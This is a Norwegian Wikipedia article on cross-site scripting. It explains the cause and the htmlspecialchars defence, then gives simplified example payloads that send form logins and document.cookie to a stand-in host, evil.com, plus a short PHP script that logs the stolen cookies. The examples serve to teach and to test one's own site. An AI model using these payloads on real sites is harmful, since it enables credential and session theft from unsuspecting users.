Cross Site Scripting

Fra Wikipedia, den frie encyklopedi
Gå til: navigasjon, søk

Cross-site scripting, ofte forkortet til XSS, er en teknikk som kan benyttes for å manipulere websider.

XSS-hull finnes i dynamiske webapplikasjoner der brukerdata uforsiktig printes tilbake til nettleseren. Årsaken til problemet er at programvareutvikleren ikke prosesserer brukerdata riktig. Skal brukerdata printes tilbake til nettleseren bør f.eks. html tagger fjernes. Det kan gjøres ved å konvertere krokodilletegnene < og > til &lt; og &gt; respektivt slik at nettleseren ikke lenger tolker de som html-tagger men rendrer tegnet visuelt isteden. I PHP kan det gjøres slik: htmlspecialchars($input);

Hackere kan utnytte XSS-hull og:

Sjekkliste for å beskytte seg mot XSS er å filtrere all input fra brukeren, dvs. HTTP POST, HTTP GET og HTTP COOKIES.

Eksemplene som er vist i denne artikkelen er forsøkt forenklet slik at også ikke-tekniske lesere kan sjekke om et nettsted har XSS-hull.

Eksempel (ikke-teknisk)[rediger | rediger kilde]

Du har en gjestebok, og noen skriver inn følgende melding til deg:

Hei du! God jul <script>alert("XSS hull!")</script>
  • Hvis det kommer opp en meldingsboks når du leser gjesteboken så er den sårbar for XSS.
  • Hvis ikke, er brukerinput blitt filtrert før meldingen ble lagret (i en flatfil eller en database).

Eksempel på phishing-angrep (litt teknisk)[rediger | rediger kilde]

La oss si at vi har en slik form:

<form action="login.php" method="post">
<input type="text" name="user><br />
<input type="password" name="pass"><br /><br />
<input type="submit" value="Logg inn">
</form>

Ved å forandre "login.php" til "http://evil.com/stjel.php" kan en hacker lagre alle brukernavn og passord som blir lagt inn. En avansert hacker kan automatisere scripet sitt slik at med en gang noen logger inn så blir passordet endret til noe annet.

Eksempel på phishing-angrep i URL (litt teknisk)[rediger | rediger kilde]

De fleste XSS-hull finner man når man endre på URL-er. Ta denne URL-en:

http://good.com/index.php?msg=Hei du". 

For å bruke eksempelet overfor til å utføre et phishing-angrep kunne man ha oppgitt følgende URL til offeret:

http://good.com/index.php?msg=Hei du<script>document.forms[0].action.value='http://evil.com/stjel.php'</script>

Eksempel på stjeling av cookies (litt teknisk)[rediger | rediger kilde]

Hvis en hacker vil stjele en annens cookies så kan han sende følgende URL til offeret:

http://good.com/index.php?msg=Hei du<script>document.location.href="http://evil.com/stjel.php?id="+document.cookie</script>

Idet offeret intetanende klikker på linken vil "stjel.php" kalles. Denne kan f.eks. se slik ut:

<?php
$cookies=$_GET['id'];
$fp=fopen("cookies.txt", "a");
fwrite($fp, "Nye cookies: $cookies \n");
?>

Hackeren kan så installere denne cookie-en i egen browser og vil da bli logget inn som offeret.

Referanser[rediger | rediger kilde]